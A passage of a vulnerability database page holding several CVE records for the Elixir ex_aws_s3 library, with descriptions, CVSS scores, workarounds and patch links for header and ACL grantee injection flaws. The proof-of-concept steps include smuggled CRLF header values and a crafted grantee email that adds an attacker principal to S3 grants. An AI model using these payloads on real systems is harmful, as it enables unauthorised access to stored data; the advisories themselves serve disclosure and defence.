"value": "\u003cp\u003eThis is an HTTP header (CRLF) injection / request-splitting issue. Anyone using \u003ccode\u003eex_aws_s3\u003c/code\u003e to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using `ex_aws_s3` to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
}
],
"value": "This is an HTTP header (CRLF) injection / request-splitting issue. Anyone using ex_aws_s3 to store objects whose metadata is derived from untrusted input (upload services, multi-tenant file stores, anything exposing object metadata over an HTTP boundary) is affected. The practical impact depends on the configured HTTP adapter: adapters that validate header values will reject or strip the injection, but the library offers no guarantee and performs no validation of its own, so the safety of the request is silently delegated to the HTTP client."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-113",
"description": "CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:06.909Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-5887-vcfr-5ff8"
},
{
"name": "EEF CNA record for CVE-2026-65621",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-65621.html"
},
{
"name": "OSV record EEF-CVE-2026-65621",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-65621"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit fa94110 in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/fa941106c2e3b10de8e710d1a03eeb673b88096c"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unvalidated object metadata in ex_aws_s3 enables HTTP header (CRLF) injection into S3 requests",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x).\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
}
],
"value": "Reject or strip carriage return (CR) and line feed (LF) characters from object metadata keys and values before passing them to ex_aws_s3, or configure an HTTP adapter that neutralizes CR/LF in header values before writing them to the socket (for example hackney 4.x)."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn upload service forwards user-supplied metadata: \u003ccode\u003eExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sets the value to \u003ccode\u003elegit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuild_meta_headers/1\u003c/code\u003e copies it verbatim into the \u003ccode\u003ex-amz-meta-comment\u003c/code\u003e header.\u003c/li\u003e\n\u003cli\u003eWith an adapter that does not reject CR/LF, the bytes on the wire contain \u003ccode\u003eX-Injected-By-Attacker: pwned\u003c/code\u003e and \u003ccode\u003eX-Smuggled: yes\u003c/code\u003e as separate header lines.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An upload service forwards user-supplied metadata: `ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}])`.\n2. The attacker sets the value to `legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes`.\n3. `build_meta_headers/1` copies it verbatim into the `x-amz-meta-comment` header.\n4. With an adapter that does not reject CR/LF, the bytes on the wire contain `X-Injected-By-Attacker: pwned` and `X-Smuggled: yes` as separate header lines."
}
],
"value": "* An upload service forwards user-supplied metadata: ExAws.S3.put_object(\"victim-bucket\", \"uploads/file.txt\", \"hello\", meta: [{\"comment\", value}]).\n* The attacker sets the value to legit\\r\\nX-Injected-By-Attacker: pwned\\r\\nX-Smuggled: yes.\n* build_meta_headers/1 copies it verbatim into the x-amz-meta-comment header.\n* With an adapter that does not reject CR/LF, the bytes on the wire contain X-Injected-By-Attacker: pwned and X-Smuggled: yes as separate header lines."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unvalidated header construction.\u003c/strong\u003e \u003ccode\u003eExAws.S3.Utils.build_meta_headers/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e turns each \u003ccode\u003e:meta\u003c/code\u003e entry into \u003ccode\u003e{\"x-amz-meta-#{k}\", v}\u003c/code\u003e. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Untrusted metadata.\u003c/strong\u003e Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \u003ccode\u003e\"legit\\r\\nX-Injected-By-Attacker: pwned\"\u003c/code\u003e reaches the header list unchanged through \u003ccode\u003eExAws.S3.put_object/4\u003c/code\u003e or any operation taking \u003ccode\u003e:meta\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Header injection.\u003c/strong\u003e If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the \u003ccode\u003ex-amz-meta-*\u003c/code\u003e line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unvalidated header construction.** `ExAws.S3.Utils.build_meta_headers/1` in `lib/ex_aws/s3/utils.ex` turns each `:meta` entry into `{\"x-amz-meta-#{k}\", v}`. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n**2. Untrusted metadata.** Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like `\"legit\\r\\nX-Injected-By-Attacker: pwned\"` reaches the header list unchanged through `ExAws.S3.put_object/4` or any operation taking `:meta`.\n\n**3. Header injection.** If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the `x-amz-meta-*` line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
}
],
"value": "1. Unvalidated header construction. ExAws.S3.Utils.build_meta_headers/1 in lib/ex_aws/s3/utils.ex turns each :meta entry into {\"x-amz-meta-#{k}\", v}. Neither the key nor the value is checked for CR, LF or other illegal header bytes.\n\n2. Untrusted metadata. Object metadata is routinely populated from end-user input, such as a comment or label attached to an upload. A value like \"legit\\r\\nX-Injected-By-Attacker: pwned\" reaches the header list unchanged through ExAws.S3.put_object/4 or any operation taking :meta.\n\n3. Header injection. If the HTTP adapter does not validate header values before writing them to the socket, the embedded CRLF ends the x-amz-meta-* line and starts a new one, injecting arbitrary headers into, or splitting, the request sent to S3. The library delegates this safety to the adapter entirely."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-65621",
"datePublished": "2026-11-24T14:13:06.909Z",
"dateReserved": "2026-07-22T13:55:59.401Z",
"dateUpdated": "2026-11-24T14:13:06.909Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63585 (GCVE-0-2026-63585)
Vulnerability from nvd – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1
Summary
ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a "share this object" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker's own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63585.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63585 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/dd4226… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3.Utils\u0027",
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3/utils.ex",
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "dd422637a46203d01cc47fd832836758f8090556",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability requires the host application to pass untrusted input into an \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e). Applications that only pass trusted, validated grantee identifiers into these options are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability requires the host application to pass untrusted input into an `ExAws.S3` ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
}
],
"value": "The vulnerability requires the host application to pass untrusted input into an ExAws.S3 ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:13:11.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003ccode\u003eExAws.S3\u003c/code\u003e constructs S3 ACL grant headers (such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e) in \u003ccode\u003eformat_grant_header/1\u003c/code\u003e by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "`ExAws.S3` constructs S3 ACL grant headers (such as `x-amz-grant-read` and `x-amz-grant-full-control`) in `format_grant_header/1` by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, \u003ccode\u003egrant_full_control\u003c/code\u003e) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using `ExAws.S3` ACL grant options (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, `grant_full_control`) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
}
],
"value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using ExAws.S3 ACL grant options (grant_read, grant_write, grant_read_acp, grant_write_acp, grant_full_control) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:11.918Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-6fg2-v8g4-vfg2"
},
{
"name": "EEF CNA record for CVE-2026-63585",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63585.html"
},
{
"name": "OSV record EEF-CVE-2026-63585",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63585"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit dd42263 in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/dd422637a46203d01cc47fd832836758f8090556"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate grantee identifiers before passing them to \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate grantee identifiers before passing them to `ExAws.S3` ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
}
],
"value": "Validate grantee identifiers before passing them to ExAws.S3 ACL grant options and reject any value containing a double quote, comma, or CR/LF character, or restrict grantee input to trusted canonical ids and email addresses that match the expected S3 grantee grammar."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application offers \"share this object\" and calls \u003ccode\u003eExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])\u003c/code\u003e with a user-supplied email.\u003c/li\u003e\n\u003cli\u003eThe attacker submits the email \u003ccode\u003evictim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eformat_grant_header/1\u003c/code\u003e interpolates it into \u003ccode\u003eemailAddress=\"...\"\u003c/code\u003e, closing the quote after \u003ccode\u003evictim@example.com\u003c/code\u003e and opening a second tuple.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003ex-amz-grant-read\u003c/code\u003e header carries \u003ccode\u003eemailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"\u003c/code\u003e, granting the attacker\u0027s principal read access.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application offers \"share this object\" and calls `ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email])` with a user-supplied email.\n2. The attacker submits the email `victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef`.\n3. `format_grant_header/1` interpolates it into `emailAddress=\"...\"`, closing the quote after `victim@example.com` and opening a second tuple.\n4. The `x-amz-grant-read` header carries `emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\"`, granting the attacker\u0027s principal read access."
}
],
"value": "* An application offers \"share this object\" and calls ExAws.S3.put_object_acl(\"victim-bucket\", \"secret.txt\", grant_read: [email: email]) with a user-supplied email.\n* The attacker submits the email victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef.\n* format_grant_header/1 interpolates it into emailAddress=\"...\", closing the quote after victim@example.com and opening a second tuple.\n* The x-amz-grant-read header carries emailAddress=\"victim@example.com\", id=\"ATTACKER_CANONICAL_ID_deadbeef\", granting the attacker\u0027s principal read access."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Header grammar.\u003c/strong\u003e S3 grant headers such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e are a comma-separated list of quoted grantee tuples, \u003ccode\u003etype=\"id\"[, type=\"id\"]...\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eformat_grant_header/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each tuple as \u003ccode\u003eemailAddress=\"#{email}\"\u003c/code\u003e or \u003ccode\u003e#{key}=\"#{value}\"\u003c/code\u003e and joins them with \u003ccode\u003e, \u003c/code\u003e. It does not check identifiers against the id or email grammar and does not reject or escape \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e,\u003c/code\u003e or CR/LF.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Grantee injection.\u003c/strong\u003e A grantee value such as \u003ccode\u003ex\", id=\"ATTACKER_CANONICAL_ID\u003c/code\u003e closes the quoted token and opens a second tuple, producing \u003ccode\u003eid=\"x\", id=\"ATTACKER_CANONICAL_ID\"\u003c/code\u003e. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Header grammar.** S3 grant headers such as `x-amz-grant-read` and `x-amz-grant-full-control` are a comma-separated list of quoted grantee tuples, `type=\"id\"[, type=\"id\"]...`.\n\n**2. Unescaped interpolation.** `format_grant_header/1` in `lib/ex_aws/s3/utils.ex` builds each tuple as `emailAddress=\"#{email}\"` or `#{key}=\"#{value}\"` and joins them with `, `. It does not check identifiers against the id or email grammar and does not reject or escape `\"`, `,` or CR/LF.\n\n**3. Grantee injection.** A grantee value such as `x\", id=\"ATTACKER_CANONICAL_ID` closes the quoted token and opens a second tuple, producing `id=\"x\", id=\"ATTACKER_CANONICAL_ID\"`. S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for `x-amz-grant-full-control`."
}
],
"value": "1. Header grammar. S3 grant headers such as x-amz-grant-read and x-amz-grant-full-control are a comma-separated list of quoted grantee tuples, type=\"id\"[, type=\"id\"]....\n\n2. Unescaped interpolation. format_grant_header/1 in lib/ex_aws/s3/utils.ex builds each tuple as emailAddress=\"#{email}\" or #{key}=\"#{value}\" and joins them with , . It does not check identifiers against the id or email grammar and does not reject or escape \", , or CR/LF.\n\n3. Grantee injection. A grantee value such as x\", id=\"ATTACKER_CANONICAL_ID closes the quoted token and opens a second tuple, producing id=\"x\", id=\"ATTACKER_CANONICAL_ID\". S3 parses two grantees and gives the injected principal the permission the header conveys, up to full control for x-amz-grant-full-control."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63585",
"datePublished": "2026-11-24T14:13:11.918Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:13:11.918Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63584 (GCVE-0-2026-63584)
Vulnerability from nvd – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key
Summary
Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.
ExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into "/#{src_bucket}/#{src_object}" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely.
When the source key is derived from untrusted input, reserved characters (spaces, ?, &, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \r or \n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.
Applications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63584.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63584 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/b708be… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
